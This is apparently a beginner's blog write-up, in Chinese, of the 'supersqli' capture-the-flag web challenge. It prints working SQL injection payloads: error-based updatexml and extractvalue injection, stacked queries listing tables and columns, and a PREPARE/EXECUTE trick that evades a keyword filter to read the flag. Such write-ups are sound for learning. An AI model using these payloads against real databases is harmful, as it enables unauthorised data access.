【攻防世界】Web 高手进阶区 supersqli (菜鸡蛋版本)

前言

从进入高手进阶区开始,就越发觉得自己会的东西好少,php之前没学过,导致我压根看不懂之前那些需要读懂php源码才能拿到flag的题,于是我一跳再跳,终于看到了亲切而熟悉的“sql”,一道sql注入题,应该有机会能自己拿到flag了!!然而。。。


开始注入

初始界面,点个提交查询试试看

在这里插入图片描述


出现了一段代码,这啥啊,看不懂,既然是 POST 类型的注入,那就来试试之前学过的 updatexml() 报错型注入:

1' and updatexml(1,concat(0x7e,database(),0x7e),0) #

在这里插入图片描述

结果出现下面这一行信息,我上网去查了一下 preg_match 是什么意思,文章链接在下面:
preg_match

然后我就想着去用 sqlmap 进行注入,但最后也没能成功,我不知道是不是自己没用对还是什么的,所以就暂时放弃用 sqlmap 了,接着我去 csdn 查找攻略,终于被我找到了,原文链接如下:
supersqli


下面开始按照攻略操作:
这里需要用到 堆叠注入 以及 extractvalue()报错型注入

首先使用 extractvalue() 将数据库名称注入出来

1' and extractvalue(1,concat(0x7e,database(),0x7e)) #

在这里插入图片描述


接下来使用 堆叠注入

1';show tables #

在这里插入图片描述


到这里,接下来的操作我就看不懂了。。直接抄:

1' ;show columns from `1919810931114514`# 查字段(这个表名比较可疑就查这个,字符串为表名进行操作时要加反引号)

在这里插入图片描述

1';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;#

在这里插入图片描述

得到了flag

总结

虽然说最后还是没能独立完成整个注入过程,但是通过查询攻略,我学会了 堆叠注入,以及复习了 extractvalue()报错型注入,后面看不懂的,以后学的知识上去了,自然就会看懂的!


彩蛋

查看网页源代码

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值